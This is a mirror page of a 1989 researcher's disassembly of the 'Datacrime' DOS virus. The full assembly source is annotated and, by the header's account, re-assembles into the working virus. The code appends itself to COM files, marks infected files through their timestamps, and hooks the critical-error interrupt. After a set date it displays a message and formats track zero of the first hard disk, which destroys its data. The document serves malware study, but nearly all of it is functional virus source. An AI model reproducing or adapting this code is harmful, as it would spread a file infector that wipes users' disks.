mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-20 18:36:10 +00:00
538 lines
26 KiB
NASM
538 lines
26 KiB
NASM
|
;
|
||
|
; IMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM;
|
||
|
; : British Computer Virus Research Centre :
|
||
|
; : 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England :
|
||
|
; : Telephone: Domestic 0273-26105, International +44-273-26105 :
|
||
|
; : :
|
||
|
; : The 'Datacrime' Virus :
|
||
|
; : Disassembled by Joe Hirst, May 1989 :
|
||
|
; : :
|
||
|
; : Copyright (c) Joe Hirst 1989. :
|
||
|
; : :
|
||
|
; : This listing is only to be made available to virus researchers :
|
||
|
; : or software writers on a need-to-know basis. :
|
||
|
; HMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM<
|
||
|
|
||
|
; The virus occurs attached to the end of a COM file. The first
|
||
|
; three bytes of the program are stored in the virus, and replaced
|
||
|
; by a branch to the beginning of the virus.
|
||
|
|
||
|
; The disassembly has been tested by re-assembly using MASM 5.0.
|
||
|
|
||
|
; Addressability is maintained by taking the offset from the
|
||
|
; initial jump to the virus. This is the length of the host minus
|
||
|
; three (length of the jump instruction). Three is subtracted
|
||
|
; from this figure (presumably the length of the original "host"
|
||
|
; program when the virus was released). The result is kept in
|
||
|
; register SI. Data addresses add SI+106H (COM origin of 100H
|
||
|
; + length of jump + length of initial host) to the offset of the
|
||
|
; data item within the virus.
|
||
|
|
||
|
; Note that if it does nothing else this virus will almost certainly
|
||
|
; screw up the critical error handler because:
|
||
|
|
||
|
; 1. There is a missing segment override on the restore of the
|
||
|
; original segment (presumably the result of inserting such
|
||
|
; overrides manually), and
|
||
|
|
||
|
; 2. If the virus looks at more than one disk it will reinstall
|
||
|
; the routine, overwriting the original saved vector with that
|
||
|
; of its own routine.
|
||
|
|
||
|
CODE SEGMENT BYTE PUBLIC 'CODE'
|
||
|
ASSUME CS:CODE,DS:CODE
|
||
|
|
||
|
ORG 09AH
|
||
|
DW009A DW ?
|
||
|
|
||
|
ORG 101H
|
||
|
DW0101 DW ?
|
||
|
|
||
|
; Start of virus - Set up relocation factor
|
||
|
|
||
|
ORG 0
|
||
|
START: MOV SI,CS:DW0101 ; Address initial jump to virus
|
||
|
SUB SI,3 ; Length of original host (?)
|
||
|
MOV AX,SI ; Copy relocation factor
|
||
|
CMP AX,0 ; Is it zero (initial release)?
|
||
|
JNE BP0012 ; Branch if not
|
||
|
JMP BP0110 ; Infection routine
|
||
|
|
||
|
; Restore host and test initial start month
|
||
|
|
||
|
BP0012: LEA DI,DB03D5[SI+106H] ; Address stored start of host
|
||
|
MOV BX,0100H ; Address beginning of host program
|
||
|
MOV CX,5 ; Word count
|
||
|
BP001C: MOV AX,[DI] ; Get next word
|
||
|
MOV [BX],AX ; Replace next word
|
||
|
ADD BX,2 ; Address next target word
|
||
|
ADD DI,2 ; Address next stored word
|
||
|
DEC CX ; Reduce count
|
||
|
JNZ BP001C ; Repeat for each word
|
||
|
MOV AH,2AH ; Get date function
|
||
|
INT 21H ; DOS service
|
||
|
MOV AL,CS:DB03EA[SI+106H] ; Get start month
|
||
|
CMP AL,DH ; Is it start month yet?
|
||
|
JG BP0040 ; Branch if not
|
||
|
MOV CS:DB03EA[SI+106H],0 ; Don't do test any more
|
||
|
JMP BP0045
|
||
|
|
||
|
; Pass control to host program
|
||
|
|
||
|
BP0040: MOV BX,0100H ; Address beginning of host program
|
||
|
JMP BX ; Branch to host program
|
||
|
|
||
|
; Are we in target part of year?
|
||
|
|
||
|
BP0045: MOV AX,CS:DW03E8[SI+106H] ; Get start month and day
|
||
|
CMP AX,DX ; Compare to actual
|
||
|
JL BP0051 ; Branch if after start date
|
||
|
JMP BP0110 ; Infection routine
|
||
|
|
||
|
; Is there a hard disk?
|
||
|
|
||
|
BP0051: MOV AX,0 ; Clear register
|
||
|
PUSH DS
|
||
|
MOV DS,AX ; Address segment zero
|
||
|
MOV BX,0106H ; Address Int 41H segment
|
||
|
MOV AX,[BX] ; Get Int 41H segment
|
||
|
POP DS
|
||
|
CMP AX,0 ; Is it zero (no hard disk)?
|
||
|
JNE BP0067 ; Branch if not
|
||
|
MOV BX,0100H ; Address beginning of host program
|
||
|
JMP BX ; Branch to host program
|
||
|
|
||
|
; Display message and format track zero, heads 0 - 8
|
||
|
|
||
|
BP0067: LEA BX,DB00E7[SI+106H] ; Address encrypted string
|
||
|
MOV CL,29H ; Load length of string
|
||
|
BP006D: MOV DL,CS:[BX] ; Get a character
|
||
|
XOR DL,55H ; Decrypt character
|
||
|
MOV AH,2 ; Display character function
|
||
|
INT 21H ; DOS service
|
||
|
INC BX ; Address next character
|
||
|
DEC CL ; Reduce count
|
||
|
JNZ BP006D ; Repeat for each character
|
||
|
MOV BX,OFFSET DW00A7+106H ; Address format buffer (no SI?)
|
||
|
MOV CH,0 ; Track zero
|
||
|
MOV DX,0080H ; Head zero, first hard disk
|
||
|
BP0084: MOV CH,0 ; Track zero
|
||
|
MOV AL,0 ; Load zero
|
||
|
MOV CL,6 ; \ Multiply zero by 64
|
||
|
SHL AL,CL ; /
|
||
|
MOV CL,AL ; Move result (zero)
|
||
|
OR CL,1 ; Now its one (and next line zero)
|
||
|
MOV AX,0500H ; Format track, interleave zero
|
||
|
INT 13H ; Disk I/O
|
||
|
JB BP009F ; Branch if error
|
||
|
INC DH ; Next head
|
||
|
CMP DH,9 ; Is it head nine?
|
||
|
JNE BP0084 ; Format if not
|
||
|
BP009F: MOV AH,2 ; Display character function
|
||
|
MOV DL,7 ; Beep
|
||
|
INT 21H ; DOS service
|
||
|
JMP BP009F ; Loop on beep
|
||
|
|
||
|
; Format table (required for ATs and PS/2s)
|
||
|
; Program does not in fact point to this because the reference
|
||
|
; to register SI is missing
|
||
|
|
||
|
DW00A7 DB 0, 01H, 0, 02H, 0, 03H, 0, 04H, 0, 05H, 0, 06H, 0, 07H, 0, 08H
|
||
|
DB 0, 09H, 0, 0AH, 0, 0BH, 0, 0CH, 0, 0DH, 0, 0EH, 0, 0FH, 0, 10H
|
||
|
DB 0, 11H, 0, 12H, 0, 13H, 0, 14H, 0, 15H, 0, 16H, 0, 17H, 0, 18H
|
||
|
DB 0, 19H, 0, 1AH, 0, 1BH, 0, 1CH, 0, 1DH, 0, 1EH, 0, 1FH, 0, 20H
|
||
|
|
||
|
; The next field decodes to:
|
||
|
|
||
|
; DB 'DATACRIME VIRUS', 0AH, 0DH
|
||
|
; DB 'RELEASED: 1 MARCH 1989', 0AH, 0DH
|
||
|
|
||
|
DB00E7 DB 11H, 14H, 01H, 14H, 16H, 07H, 1CH, 18H, 10H
|
||
|
DB 75H, 03H, 1CH, 07H, 00H, 06H, 5FH, 58H
|
||
|
DB 07H, 10H, 19H, 10H, 14H, 06H, 10H, 11H
|
||
|
DB 6FH, 75H, 64H, 75H, 18H, 14H, 07H, 16H
|
||
|
DB 1DH, 75H, 64H, 6CH, 6DH, 6CH, 5FH, 58H
|
||
|
|
||
|
; Start of infection routine
|
||
|
|
||
|
BP0110: MOV AH,19H ; Get current disk function
|
||
|
INT 21H ; DOS service
|
||
|
MOV CS:DB03F5[SI+106H],AL ; Save current disk
|
||
|
MOV AH,47H ; Get current directory function
|
||
|
MOV DX,0 ; Default disk
|
||
|
PUSH SI
|
||
|
LEA SI,DB03F6+1[SI+106H] ; Original directory store
|
||
|
INT 21H ; DOS service
|
||
|
POP SI
|
||
|
MOV CS:DB03EC[SI+106H],0 ; Set disk drive pointer to start
|
||
|
JMP BP0130 ; Select disk drive
|
||
|
|
||
|
; Select disk drive from table
|
||
|
|
||
|
BP0130: CALL BP0172 ; Install Int 24H routine
|
||
|
LEA BX,DB03E3[SI+106H] ; Address disk drive table
|
||
|
MOV AL,CS:DB03EC[SI+106H] ; Get disk drive pointer
|
||
|
INC CS:DB03EC[SI+106H] ; Update disk drive pointer
|
||
|
MOV AH,0 ; Clear top of register
|
||
|
ADD BX,AX ; Add disk drive pointer
|
||
|
MOV AL,CS:[BX] ; Get next disk drive
|
||
|
MOV DL,AL ; Move device for select
|
||
|
CMP AL,0FFH ; End of table?
|
||
|
JNE BP0151 ; Branch if not
|
||
|
JMP BP023C ; Tidy up and terminate
|
||
|
|
||
|
BP0151: MOV AH,0EH ; Select disk function
|
||
|
INT 21H ; DOS service
|
||
|
MOV AH,47H ; Get current directory function
|
||
|
MOV DL,0 ; Default drive
|
||
|
PUSH SI
|
||
|
LEA SI,DB0417+1[SI+106H] ; Current directory path name
|
||
|
INT 21H ; DOS service
|
||
|
POP SI
|
||
|
MOV BX,4 ; Address critical error
|
||
|
MOV AL,CS:[BX] ; Get critical error code
|
||
|
CMP AL,3 ; Was it three?
|
||
|
JNE BP01B7 ; Branch if not
|
||
|
MOV AL,0 ; \ Set it back to zero
|
||
|
MOV CS:[BX],AL ; /
|
||
|
JMP BP0130 ; Select next disk drive
|
||
|
|
||
|
; Install interrupt 24H routine
|
||
|
|
||
|
BP0172: XOR AX,AX ; Clear register
|
||
|
PUSH DS
|
||
|
MOV DS,AX ; Address segment zero
|
||
|
MOV BX,0090H ; Address Int 24H vector
|
||
|
MOV AX,[BX+2] ; Get Int 24H segment
|
||
|
MOV CS:DW03CF[SI+106H],AX ; Save Int 24H segment
|
||
|
MOV AX,[BX] ; Get Int 24H offset
|
||
|
MOV CS:DW03D1[SI+106H],AX ; Save Int 24H offset
|
||
|
MOV AX,CS ; Get current segment
|
||
|
MOV [BX+2],AX ; Set new Int 24H segment
|
||
|
LEA AX,BP01AE[SI+106H] ; Int 24H routine
|
||
|
MOV [BX],AX ; Set new Int 24H offset
|
||
|
POP DS
|
||
|
RET
|
||
|
|
||
|
; Restore original interrupt 24H
|
||
|
|
||
|
BP0196: XOR AX,AX ; Clear register
|
||
|
PUSH DS
|
||
|
MOV DS,AX ; Address segment zero
|
||
|
MOV BX,0090H ; Address Int 24H vector
|
||
|
MOV AX,CS:DW03CF[SI+106H] ; Get Int 24H segment
|
||
|
MOV [BX+2],AX ; Restore Int 24H segment
|
||
|
MOV AX,DW03D1[SI+106H] ; Get Int 24H offset (missing CS:)
|
||
|
MOV [BX],AX ; Restore Int 24H offset
|
||
|
POP DS
|
||
|
RET
|
||
|
|
||
|
; Interrupt 24H routine
|
||
|
|
||
|
BP01AE: MOV AL,3 ; Fail the system call
|
||
|
MOV BX,4 ; Address critical error byte
|
||
|
MOV CS:[BX],AL ; Save code
|
||
|
IRET
|
||
|
|
||
|
BP01B7: CALL BP02DA ; Find and infect a file
|
||
|
MOV AL,CS:DB03EB[SI+106H] ; Get infection completed switch
|
||
|
CMP AL,1 ; Is it on?
|
||
|
JNE BP01C6 ; Branch if not
|
||
|
JMP BP023C ; Tidy up and terminate
|
||
|
|
||
|
BP01C6: CALL BP0260 ; Get next directory
|
||
|
JNB BP01CE ; Branch if found
|
||
|
JMP BP0130 ; Select next disk drive
|
||
|
|
||
|
BP01CE: MOV CX,0040H ; Maximum characters to copy
|
||
|
PUSH SI
|
||
|
DEC DI ; \
|
||
|
DEC DI ; ) Address back to '*.*'
|
||
|
DEC DI ; /
|
||
|
MOV WORD PTR [DI],'\ ' ; Word reversed, but overwritten soon
|
||
|
MOV SI,BX ; Address file name
|
||
|
CLD
|
||
|
BP01DC: LODSB ; \ Copy a character
|
||
|
STOSB ; /
|
||
|
DEC CX ; Decrement count
|
||
|
CMP AL,0 ; Was last character zero?
|
||
|
JNE BP01DC ; Next character if not
|
||
|
POP SI
|
||
|
MOV AH,3BH ; Change current directory function
|
||
|
LEA DX,DB0438[SI+106H] ; Directory pathname
|
||
|
INT 21H ; DOS service
|
||
|
CALL BP02DA ; Find and infect a file
|
||
|
MOV AL,CS:DB03EB[SI+106H] ; Get infection completed switch
|
||
|
CMP AL,1 ; Is it on?
|
||
|
JE BP023C ; Tidy up and terminate if yes
|
||
|
CALL BP0260 ; Get next directory
|
||
|
JNB BP01CE ; Branch if found
|
||
|
MOV AH,3BH ; Change current directory function
|
||
|
LEA DX,DB0417[SI+106H] ; Current directory path name
|
||
|
INT 21H ; DOS service
|
||
|
INC CS:DB03E2[SI+106H] ; Increment directory count
|
||
|
CALL BP0260 ; Get next directory
|
||
|
JB BP023C ; Branch if not found
|
||
|
MOV AL,CS:DB03E2[SI+106H] ; Get directory count
|
||
|
BP0214: CMP AL,0 ; Is directory count zero yet?
|
||
|
JNE BP021D ; Branch if not
|
||
|
ADD BX,9 ; ???
|
||
|
JMP BP01CE ; ??? Add directory name to path
|
||
|
|
||
|
BP021D: MOV AH,4FH ; Find next file function
|
||
|
PUSH AX
|
||
|
INT 21H ; DOS service
|
||
|
POP AX
|
||
|
JNB BP0228 ; Branch if no error
|
||
|
JMP BP0130 ; Select next disk drive
|
||
|
|
||
|
BP0228: PUSH AX
|
||
|
MOV AH,2FH ; Get DTA function
|
||
|
INT 21H ; DOS service
|
||
|
ADD BX,15H ; Address attributes byte
|
||
|
MOV AL,10H ; Directory attribute
|
||
|
CMP CS:[BX],AL ; Is it a directory?
|
||
|
POP AX
|
||
|
JNE BP021D ; Branch if not
|
||
|
DEC AL ; Decrement directory count
|
||
|
JMP BP0214
|
||
|
|
||
|
; Reset disk and directory, and pass control to host
|
||
|
|
||
|
BP023C: MOV AH,0EH ; Select disk function
|
||
|
MOV DL,CS:DB03F5[SI+106H] ; Get original current disk
|
||
|
INT 21H ; DOS service
|
||
|
MOV AH,3BH ; Change current directory function
|
||
|
LEA DX,DB03F6[SI+106H] ; Original directory
|
||
|
INT 21H ; DOS service
|
||
|
CALL BP0196 ; Restore Int 24H
|
||
|
MOV AX,SI ; Copy relocation factor
|
||
|
CMP AX,0 ; Is it zero (initial release)?
|
||
|
JE BP025C ; Terminate 8f not
|
||
|
MOV BX,0100H ; Address beginning of host program
|
||
|
JMP BX ; Branch to host program
|
||
|
|
||
|
; Terminate
|
||
|
|
||
|
BP025C: MOV AH,4CH ; End process function
|
||
|
INT 21H ; DOS service
|
||
|
|
||
|
; Get next directory
|
||
|
|
||
|
BP0260: LEA DI,DB0438+1[SI+106H] ; Directory pathname
|
||
|
MOV CX,003AH ; Length to clear
|
||
|
MOV AL,0 ; Set to zero
|
||
|
CLD
|
||
|
REPZ STOSB ; Clear pathname area
|
||
|
MOV AH,47H ; Get current directory function
|
||
|
PUSH SI
|
||
|
MOV DX,0 ; Current drive
|
||
|
LEA SI,DB0438+1[SI+106H] ; Directory pathname
|
||
|
INT 21H ; DOS service
|
||
|
POP SI
|
||
|
CLD
|
||
|
LEA DI,DB0438+1[SI+106H] ; Directory pathname
|
||
|
MOV CX,0040H ; Length to search
|
||
|
MOV AL,0 ; Search for zero
|
||
|
REPNZ SCASB ; Search for end of pathname
|
||
|
JZ BP0289 ; Branch if found
|
||
|
STC
|
||
|
RET
|
||
|
|
||
|
; Set file name wildcard on path
|
||
|
|
||
|
BP0289: DEC DI ; \ Back two positions
|
||
|
DEC DI ; /
|
||
|
MOV AL,[DI] ; Get character
|
||
|
CMP AL,'\' ; Does path end in dir delim?
|
||
|
JE BP0294 ; Branch if yes
|
||
|
INC DI ; Next position
|
||
|
MOV AL,'\' ; Make next character a dir delim
|
||
|
BP0294: MOV [DI],AL ; Store character
|
||
|
INC DI ; Next position
|
||
|
MOV AL,'*' ; All files
|
||
|
MOV [DI],AL ; Store character
|
||
|
INC DI ; Next position
|
||
|
MOV AL,'.' ; Extension
|
||
|
MOV [DI],AL ; Store character
|
||
|
INC DI ; Next position
|
||
|
MOV AL,'*' ; all extensions
|
||
|
MOV [DI],AL ; Store character
|
||
|
INC DI ; Next position
|
||
|
LEA DX,DB0438[SI+106H] ; Address directory pathname
|
||
|
MOV AH,4EH ; Find first file function
|
||
|
MOV CX,0010H ; Find directories
|
||
|
INT 21H ; DOS service
|
||
|
JNB BP02B4 ; Branch if no error
|
||
|
RET
|
||
|
|
||
|
; Valid directories only
|
||
|
|
||
|
BP02B4: MOV AH,2FH ; Get DTA function
|
||
|
INT 21H ; DOS service
|
||
|
ADD BX,15H ; Address attribute byte
|
||
|
MOV AL,10H ; Directory attribute
|
||
|
CMP CS:[BX],AL ; Is it a directory?
|
||
|
JNE BP02D2 ; Branch if not
|
||
|
CLC
|
||
|
MOV AH,2FH ; Get DTA function
|
||
|
INT 21H ; DOS service
|
||
|
ADD BX,1EH ; Address directory name
|
||
|
MOV AL,'.' ; Prepare to test first byte
|
||
|
CMP CS:[BX],AL ; Is it a pointer to another dir?
|
||
|
JE BP02D2 ; Branch if yes
|
||
|
RET
|
||
|
|
||
|
BP02D2: MOV AH,4FH ; Find next file function
|
||
|
INT 21H ; DOS service
|
||
|
JNB BP02B4 ; Branch if no error
|
||
|
STC
|
||
|
RET
|
||
|
|
||
|
; Find and infect a file
|
||
|
|
||
|
BP02DA: MOV CS:DB03EB[SI+106H],0 ; Set infection completed switch off
|
||
|
MOV AH,4EH ; Find first file function
|
||
|
MOV CX,7 ; All files
|
||
|
LEA DX,DB03ED[SI+106H] ; Address '*.COM'
|
||
|
INT 21H ; DOS service
|
||
|
JNB BP02F6 ; Branch if no error
|
||
|
RET
|
||
|
|
||
|
BP02EF: MOV AH,4FH ; Find next file function
|
||
|
INT 21H ; DOS service
|
||
|
JNB BP02F6 ; Branch if no error
|
||
|
RET
|
||
|
|
||
|
; Exclude COMMAND.COM
|
||
|
|
||
|
BP02F6: MOV BX,00A4H ; Address seventh letter of name
|
||
|
MOV AL,[BX] ; Get character
|
||
|
CMP AL,'D' ; Is it a 'D' (as in COMMAND.COM)?
|
||
|
JNE BP0301 ; Branch if not
|
||
|
JMP BP02EF ; Next file
|
||
|
|
||
|
; Is it already infected?
|
||
|
|
||
|
BP0301: MOV BX,0096H ; Address time of file
|
||
|
MOV CX,[BX] ; Get time of file
|
||
|
ADD BX,2 ; Address date of file
|
||
|
MOV DX,[BX] ; Get date of file
|
||
|
MOV AL,CL ; Copy low byte of time
|
||
|
AND AL,0E0H ; Isolate low part of minutes
|
||
|
MOV AH,AL ; Copy low part of minutes
|
||
|
SHR AL,1 ; \
|
||
|
SHR AL,1 ; \
|
||
|
SHR AL,1 ; ) Move mins to secs position
|
||
|
SHR AL,1 ; /
|
||
|
SHR AL,1 ; /
|
||
|
OR AL,AH ; Combine with minutes
|
||
|
CMP AL,CL ; Compare to actual time
|
||
|
JNE BP0323 ; Branch if different
|
||
|
JMP BP02EF ; Find next file
|
||
|
|
||
|
; Uninfected COM file found
|
||
|
|
||
|
BP0323: PUSH CX
|
||
|
PUSH DX
|
||
|
MOV AX,CS:DW009A ; Get low-order length
|
||
|
MOV CS:DW03D3[SI+106H],AX ; Save low-order length
|
||
|
CALL BP03AA ; Remove read-only attribute
|
||
|
MOV AX,3D02H ; Open handle (R/W) function
|
||
|
MOV DX,009EH ; File name
|
||
|
INT 21H ; DOS service
|
||
|
MOV BX,AX ; Move handle
|
||
|
MOV AH,3FH ; Read handle function
|
||
|
LEA DX,DB03D5[SI+106H] ; Store area for start of host
|
||
|
MOV CX,000AH ; Read first ten bytes
|
||
|
INT 21H ; DOS service
|
||
|
MOV AX,4202H ; Move file pointer (EOF) function
|
||
|
XOR CX,CX ; \ No displacement
|
||
|
XOR DX,DX ; /
|
||
|
INT 21H ; DOS service
|
||
|
MOV CX,OFFSET ENDADR ; Length of virus
|
||
|
NOP
|
||
|
LEA DX,[SI+106H] ; Address start of virus
|
||
|
MOV AH,40H ; Write handle function
|
||
|
INT 21H ; DOS service
|
||
|
MOV AX,4200H ; Move file pointer (start) function
|
||
|
XOR CX,CX ; \ No displacement
|
||
|
XOR DX,DX ; /
|
||
|
INT 21H ; DOS service
|
||
|
MOV AX,CS:DW009A ; Get low-order length
|
||
|
SUB AX,3 ; Subtract length of jump
|
||
|
MOV CS:DW03E0[SI+106H],AX ; Store displacement in jump
|
||
|
MOV AH,40H ; Write handle function
|
||
|
MOV CX,3 ; Length of jump
|
||
|
LEA DX,DB03DF[SI+106H] ; Address jump instruction
|
||
|
INT 21H ; DOS service
|
||
|
POP DX
|
||
|
POP CX
|
||
|
AND CL,0E0H ; Isolate low part of minutes
|
||
|
MOV AL,CL ; Copy low part of minutes
|
||
|
SHR CL,1 ; \
|
||
|
SHR CL,1 ; \
|
||
|
SHR CL,1 ; ) Move mins to secs position
|
||
|
SHR CL,1 ; /
|
||
|
SHR CL,1 ; /
|
||
|
OR CL,AL ; Combine with minutes
|
||
|
MOV AX,5701H ; Set file date & time function
|
||
|
INT 21H ; DOS service
|
||
|
MOV AH,3EH ; Close handle function
|
||
|
INT 21H ; DOS service
|
||
|
CALL BP03C1 ; Replace attributes
|
||
|
MOV CS:DB03EB[SI+106H],1 ; Set infection completed switch on
|
||
|
MOV AH,3BH ; Change current directory function
|
||
|
LEA DX,DB0417[SI+106H] ; Current directory path name
|
||
|
INT 21H ; DOS service
|
||
|
RET
|
||
|
|
||
|
; Remove read-only attribute
|
||
|
|
||
|
BP03AA: MOV DX,009EH ; Address file name
|
||
|
MOV AX,4300H ; Get file attributes function
|
||
|
INT 21H ; DOS service
|
||
|
MOV CS:DW03F3[SI+106H],CX ; Save attributes
|
||
|
AND CX,00FEH ; Set off read-only
|
||
|
MOV AX,4301H ; Set file attributes function
|
||
|
INT 21H ; DOS service
|
||
|
RET
|
||
|
|
||
|
; Replace attributes
|
||
|
|
||
|
BP03C1: MOV CX,CS:DW03F3[SI+106H] ; Get attributes
|
||
|
MOV DX,009EH ; Address file name
|
||
|
MOV AX,4301H ; Set file attributes function
|
||
|
INT 21H ; DOS service
|
||
|
RET
|
||
|
|
||
|
DW03CF DW 1142H ; Original Int 24H segment
|
||
|
DW03D1 DW 175DH ; Original Int 24H offset
|
||
|
DW03D3 DW 0039H ; Low-order length of host
|
||
|
DB03D5 DB 0EBH, 02EH, 090H, 'Hello -' ; Store area for start of host
|
||
|
DB03DF DB 0E9H ; \ Jump for host program
|
||
|
DW03E0 DW 0 ; /
|
||
|
DB03E2 DB 0BH
|
||
|
DB03E3 DB 2, 3, 0, 1, 0FFH ; Disk drive table (C, D, A, B)
|
||
|
DW03E8 DW 0A0CH ; Start month and day
|
||
|
DB03EA DB 0 ; Start month
|
||
|
DB03EB DB 0 ; Infection completed switch
|
||
|
DB03EC DB 3 ; Disk drive pointer
|
||
|
DB03ED DB '*.COM', 0
|
||
|
DW03F3 DW 20H ; File attributes
|
||
|
DB03F5 DB 0 ; Original current disk
|
||
|
DB03F6 DB '\', 0, 'ENTURA', 19H DUP (0) ; Original directory
|
||
|
DB0417 DB '\', 0, 'NPAK', 1BH DUP (0) ; Current directory
|
||
|
DB0438 DB '\*.*', 3CH DUP (0) ; Directory pathname
|
||
|
|
||
|
DB 000H, 02BH, 0C3H, 074H, 005H, 078H, 002H, 041H
|
||
|
DB 0C3H, 049H, 0C3H, 051H, 052H, 0A1H, 014H, 000H
|
||
|
DB 08BH, 00EH, 01AH, 000H, 08BH, 016H, 01CH, 000H
|
||
|
|
||
|
ENDADR EQU $
|
||
|
|
||
|
CODE ENDS
|
||
|
|
||
|
END START
|
||
|
|